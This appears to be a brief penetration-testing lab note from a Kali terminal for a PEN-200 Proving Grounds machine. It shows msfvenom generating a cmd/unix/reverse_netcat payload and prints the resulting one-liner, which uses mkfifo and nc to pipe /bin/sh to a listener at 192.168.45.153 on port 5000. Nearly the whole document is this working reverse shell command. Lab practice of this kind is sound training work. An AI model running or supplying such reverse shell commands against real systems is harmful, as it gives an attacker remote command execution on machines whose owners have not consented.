msfvenom


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/shifty]
└─$ msfvenom -p cmd/unix/reverse_netcat LHOST=$tun0 LPORT=5000  
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 92 bytes
mkfifo /tmp/crmj; nc 192.168.45.153 5000 0</tmp/crmj | /bin/sh >/tmp/crmj 2>&1; rm /tmp/crmj

msfvenom generated a reverse shell command